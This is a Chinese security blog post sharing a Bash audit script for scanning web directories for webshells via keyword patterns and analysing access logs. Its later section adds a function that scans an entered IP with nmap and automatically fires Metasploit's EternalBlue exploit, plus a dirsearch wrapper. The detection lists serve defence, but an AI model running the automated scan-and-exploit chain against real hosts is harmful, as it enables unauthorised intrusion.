基于Bash Shell的一个审计脚本

  • A+
所属分类:未分类

距离上一次发帖已经是三年前了,差点都忘了自己还有freebuf的账户了……

最近在给学生讲Linux下的常规命令的时候,有学生问过,windows下,无论是检查日志,还是扫描webshell,都有现成的工具使用,毕竟可视化,干啥也方便,Linux下比较麻烦,客户不让装这个,不让装那个,有些特殊情况下,服务器连个Python环境又没有,用perl写吧,还比较麻烦。

忽然想起来自己还写过两个小脚本,讲完课,没事儿改了改,给各位小伙伴们发上来,脚本没什么技术含量,无非就是些awk、grep、find、function等,希望能派上用场。

整体运行界面是这个样子的,界面眼熟吧,msf的图形,哈哈哈。

总体分了三个内容:

一、Webshell后门扫描

二、网站日志分析

三、日志搜索

一、Webshell后门扫描

主要内容就是通过read -p 获取用户输入内容,然后进行判断

这里需要用户自行输入要扫描的网站路径,字典路径可有可无,留空,就会执行已经写好的东西,自定义的话,就需要用户自己输入字典路径了。。

可能有人看不清图,我就贴一小段命令出来吧。

if [ -z $filepath ];then
echo -e "\033[1;31m 请输入要扫描的路径!\033[0m"
webscan
elif [ -z $wordlist ];then
echo "---------------------扫描信息------------------------------------"
echo -e "\033[44;37m 网站路径:$filepath \033[0m"
echo -e "\033[44;37m 字典路径:$wordlist \033[0m"
echo "-------------------------------------------------------------------"
find $filepath -name "*.php"|xargs egrep "eval|<?php eval|GIF89a|_P\"\.\/\*-\/\*-\*\/\"OS\"\.|<?php \$_GET|base64_decode\($|array_map\(assert|array\(\$Base\(\$_POS|extract\(\$_REQUEST|eval\(\'@ini_set|ZXZhbCgnQGluaV9zZXQ|\'e\'\.\'v\'\.\'a\'\.\'l\'"  |grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[45;37m 一句话后门 \033[0m"}'|uniq
find $filepath -name "*.php"|xargs egrep "一句话|小马|大马|挂马|提权|命令|文件管理|免杀|后门|system\(\$cmd\)|shell_exec\(\$cmd\)|\$cmd=socket|cmd|shellname|shell|webshell|f377368656c6c2e676f6f676c65636f6|explode\(|mysqlDll\.dll|exec sp_configure|xp_cmdshell|BackDoor|net user|eval\(gzunc|cmd\.exe|command|execfunc"|grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似webshell大马 \033[0m"}'|uniq 
find $filepath -name "*.php"|xargs egrep "***有一些不堪入目的关键词就不填了,自己下载文件看吧"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "一句话|小马|大马|挂马|提权|命令|文件管理|免杀|后门|exec\(cmd|executeQuery|execute|RealVNC|cmd\.exe|\"nc |reg query|WinStations|RDP-Tcp|PortNumbe|execute|\'cmd\'|HashMap\(|Command Window|JFolder|exeCmd"|awk -F ":" '{print $1 "    " "\033[45;37m JSP后门 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "***有一些不堪入目的关键词就不填了,自己下载文件看吧"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "***有一些不堪入目的关键词就不填了,自己下载文件看吧"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情检测|吐司|黑客"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似黑页 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.txt"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情检测|***有一些不堪入目的关键词就不填了,自己下载文件看吧*"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
echo "-------------------------------------------------------------------"
echo -e "\033[44;37m 扫描完毕! \033[0m"
else
echo "---------------------扫描信息------------------------------------"
echo -e "\033[44;37m 网站路径:$filepath \033[0m"
echo -e "\033[44;37m 字典路径:$wordlist \033[0m"
echo "-------------------------------------------------------------------"
wordlist1=$(cat $wordlist)
find $filepath -name "*.php"|xargs egrep "$wordlist1"  |grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[45;37m 一句话后门 \033[0m"}'|uniq
find $filepath -name "*.php"|xargs egrep "$wordlist1"|grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似webshell大马 \033[0m"}'|uniq 
find $filepath -name "*.php"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[45;37m JSP后门 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似黑页 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.txt"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似带有敏感内容 \033[0m"}'|grep -v "Binary"|uniq 
echo "-------------------------------------------------------------------"
echo -e "\033[44;37m 字典扫描完毕! \033[0m"
echo "-------------------------------------------------------------------"
fi

字典还是推荐使用windows下的notepad++来写,按照格式      test|\$POST|\(\$_POST   来写就好,特殊字符记得转意下。

尤其是涉及中文的,一定要在notepad++中,转换成unix格式,不然是无法识别中文的。

执行以后的效果是这个样子的,虽然是丑了点,但是好歹还是能用的。

二、网站日志分析

这个基本没变,懒得改了,详情可参考3年前写的那篇文章。

如何编写自己的Web日志分析脚本?

运行结果如下:

三、日志搜索

日志搜索,其实就是个文件名搜索和ip地址搜索功能

用户根据扫描出来的webshell后门名称,搜索名字,然后将搜索的信息进行去重、统计进行显示。

主要是通过根据用户指定的文件名或IP地址,将用户的内容保存成变量,然后开始筛选,排除404、400的响应码以及Binary关键字等不关注的信息,然后针对性的进行输出和统计,让检索内容显示的简洁些,并将输出内容进行保存,方便日后查看。

echo "日志内容搜索"
        read -p "请输入要分析的脚本名称:" name66
        if [ -z $name66 ];then
        echo "请输入正确的文件名"
        else
        echo "*******************************检索内容如下:******************************************"
        more $filepath2/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print "访问IP地址为:"$1" ""后门地址为:"$7}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath2/log/$name66-ip.log
	    fl=$(cat $filepath2/log/$name66-ip.log)
        if [ -z $fl ];then
        echo "没有发现匹配$name66的内容"
	    rm -rf $filepath2/log/$name66-ip.log
        echo "按回车键重新进行搜索"
        read key
        super
        else
        cat $filepath2/log/$name66-ip.log
        echo "*******************************************************详细列表如下:******************"
        more $filepath2/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print $name66}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath2/log/$name66.log
	    cat $filepath2/log/$name66.log
        echo "************************************************************************************"
        fi
        fi
	    menu
        ;;

运行结果如下:

四、总结

其实整体内容,就是通过function函数来实现一个循环的小框架,来实现输入不同数字来执行定义好的函数功能而已。

毕竟都2020年了,不会徒手写shell脚本的攻城狮不是好运维~

写个整体代码的框架示例,可能看起来能更清楚些。。

#!/bin/bash

function menu
{
cat <<EOF
		echo "1)功能"
		echo "2)功能"
		echo "3)功能"
		echo "4)功能"
EOF

read -p "请输入要选择的功能序号:" num1
case "$num1" in
	1)
		echo "case 1"
		gn1
	;;
	2)
		echo "看到我的时候,我已经跳转到了function gn2里去执行了"
		gn2
	;;
	3)
		echo "default"
		gn3
	;;
	4)
		echo "default2"
		gn4
	;;
esac

}

function gn1
{
echo "我是功能1"
menu
}

function gn2
{
echo "我是功能2"	
read -p "如果想嵌套子功能,就学我:" zgn
case "$zgn" in
	1)
		echo "我是功能2的子功能,看见我因为你输入的是1"
	;;
	2)
		echo "case 2 or 3"
	;;
	3)
		echo "default"
	;;
esac
gn2

}

function gn3
{
echo "我是功能3"	
}

function gn4
{
echo "我是功能4"	
}

menu

当用户执行时,根据输入的序号,来跳转到对应的逻辑上。

用户输入序号1,则进入到case的第一个逻辑上,输出echo "case 1"后,让它跳转到定义好的gn1函数上,并让gn1函数输出“我是功能1”后,返回到menu函数,也就是主界面。

以此类推,当用户输入序号2时,调到gn2函数上。

function gn2
{
echo "我是功能2"	
read -p "如果想嵌套子功能,就学我:" zgn
case "$zgn" in
	1)
		echo "我是功能2的子功能,看见我因为你输入的是1"
	;;
	2)
		echo "case 2 or 3"
	;;
	3)
		echo "default"
	;;
esac
gn2

}

执行效果如下:

五、题外话

在kali中,可以将常用的工具集中起来,配合bash shell的function函数,来实现自动化执行,就不需要背命令了,无论什么工具,输个IP地址或者域名就可以直接使用了,只要你提前在function里将它写好。

当然了,如果有在kali里做安全相关的毕设的同学们,可以把msf利用写进去,省去了手动输入命令的过程,还显得有B格~

例如:

nmap+msf的MS17-010配合使用时,可以这样去设计:

先使用read -p获取用户输入内容,并将其保存在变量里,当然了,nmap 要用户输入的地方,肯定是IP啦~

read -p "请输入要扫描的IP地址:" num2

利用nmap -v -n $num2 获取目标端口信息

再通过筛选445端口信息,配合awk来将信息进行分割输出,获取内容:

egrep "open port 445" |awk -F "/" '{print $1}')

并将内容保存到cmd变量里

然后再调用-script=smb-vuln-ms17-010格式对目标IP进行扫描,确认是否存在MS17-010漏洞,

nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}'

将其保存在cmd2变量中

一旦目标IP存在MS17-010漏洞,输出结果中会含有相关信息,通过awk分割,获取关键词MS17-010,通过cmd2变量中获取的内容进行匹配,如果两者相当,则执行接下来的操作。

调用msfconsole,并将变量中的IP地址信息自动填写进去,关键命令如下:

msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"

最终,就实现了通过nmap扫描----判断漏洞-----利用漏洞的一系列效果了:

function ms17010
{
cat <<EOF
    				`echo -e "\033[1;35m ms17010 攻击演示:\033[0m"`
EOF
echo -e "\033[1;35m *********准备探测*************\033[0m"
read -p "请输入要扫描的IP地址:" num2
cmd=$(nmap -v -n $num2|grep -v "mass_dns"|egrep "open port 445" |awk -F "/" '{print $1}')
if [ "$cmd" = "Discovered open port 445" ];then
cmd2=$(nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}')
echo -e "\033[1;35m $num2 \033[0m 已开放445端口"
else
echo -e "\033[1;35m $num2 \033[0m 未开启445端口"
fi

if [ "$cmd2" = "(ms17-010)" ];then
echo -e "检测到目标:\033[1;35m $num2 \033[0m 存在MS17-010漏洞!"
sleep 3
echo -e "\033[1;35m ***************开始进行攻击*********************\033[0m"
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"
else
echo "做球啥呢"
fi
exit
}

执行效果如下:

开始界面:

利用nmap -script=smb-vuln-ms17-010,扫描到目标主机存在MS17-010漏洞后,自动执行攻击命令,获取shell权限。

假设目标主机没有开启445端口,或者有防火墙,则提示失败。

暴力破解也是如此。

利用nmap扫描服务信息,判断开放的服务,根据服务信息,自动调用要破解的模块,实现自动识别,自动破解,输出结果的过程,其实就是个调用,调用,再调用,没什么技术性,关键是在于一个字!

懒!

有学生之前问过,windows上好些工具,都需要进命令行里去执行,好麻烦,每次都记不住,还得打开txt复制命令去用,好烦啊~

当然了,Linux上懒也就罢了,windows上也可以稍微懒一懒。
例如:

windows上可以通过批处理的方式,来写个懒人批处理

原理,依然是获取于用户输入,然后将输入内容带进变量里去执行,简单的不要不要的~

@set /p ym="输入要扫描的域名地址:"
@set /p jb="输入要扫描的脚本类型:"
@rem 等待用户输入 
@set /p gn="请选择要使用的功能:":
@rem 选择环境编码1
@if %gn%==1 (
@echo 普通扫描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401
 ) else (
@if %gn%==2 (
@echo 递归扫描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5
pause
 )

最终实现效果如下:

当你学会这些偷懒技巧以后,整个人都废了呢~

其实整体没啥东西,希望我的懒,能给跟我同样懒得小伙伴们带来帮助~

完整脚本:

链接:https://pan.baidu.com/s/1r5v1U6BAdkpD95W7-TjNQg 
提取码:2zls 

本文作者:鬼魅羊羔, 属于FreeBuf原创奖励计划,未经许可禁止转载

# shell脚本 # Linux脚本

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: